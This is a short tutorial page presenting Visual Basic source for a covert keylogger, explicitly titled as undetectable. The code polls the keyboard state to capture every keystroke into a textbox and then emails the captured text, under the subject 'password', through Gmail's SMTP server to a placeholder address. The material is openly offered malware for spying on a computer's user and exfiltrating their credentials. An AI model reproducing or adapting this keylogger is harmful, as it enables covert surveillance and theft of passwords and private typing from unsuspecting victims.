Make Undetect Keylogger with Visual Basic

Keystroke logging (often called keylogging) is the action of tracking (or logging) the keys struck on a keyboard, typically in a covert manner so that the person using the keyboard is unaware that their actions are being monitored. There are numerous keylogging methods, ranging from hardware and software-based approaches to electromagnetic and acoustic analysis.

Example :

Imports System.Web
Imports System.IO
Imports System.Net.Mail
*******************************************
Public Class Form1
    Dim result As Integer
    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
    Private Declare Function GetAnyncKeySync Lib "user32" (ByVal vKey As Long) As Integer
*******************************************
    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        For i = 1 To 255
            result = 0
            result = GetAsyncKeyState(i)
            If result = -32767 Then
                TextBox1.Text = TextBox1.Text + Chr(i)
            End If
        Next i
    End Sub


    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        My.Computer.Clipboard.SetText("Haha")
    End Sub


    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        Dim mail As New MailMessage()
        Dim SmtpServer As New SmtpClient
        SmtpServer.Credentials = New Net.NetworkCredential("uremail@gmail.com", "password")
        SmtpServer.Port = 587
        SmtpServer.Host = "smtp.gmail.com"
        SmtpServer.EnableSsl = True
        SmtpServer.EnableSsl = True
        mail.To.Add("uremail@anymailserver.com")
        mail.From = New MailAddress("nothere-mail@gmail.com")
        mail.Subject = "password"
        mail.Body = TextBox1.Text
        SmtpServer.Send(mail)
    End Sub
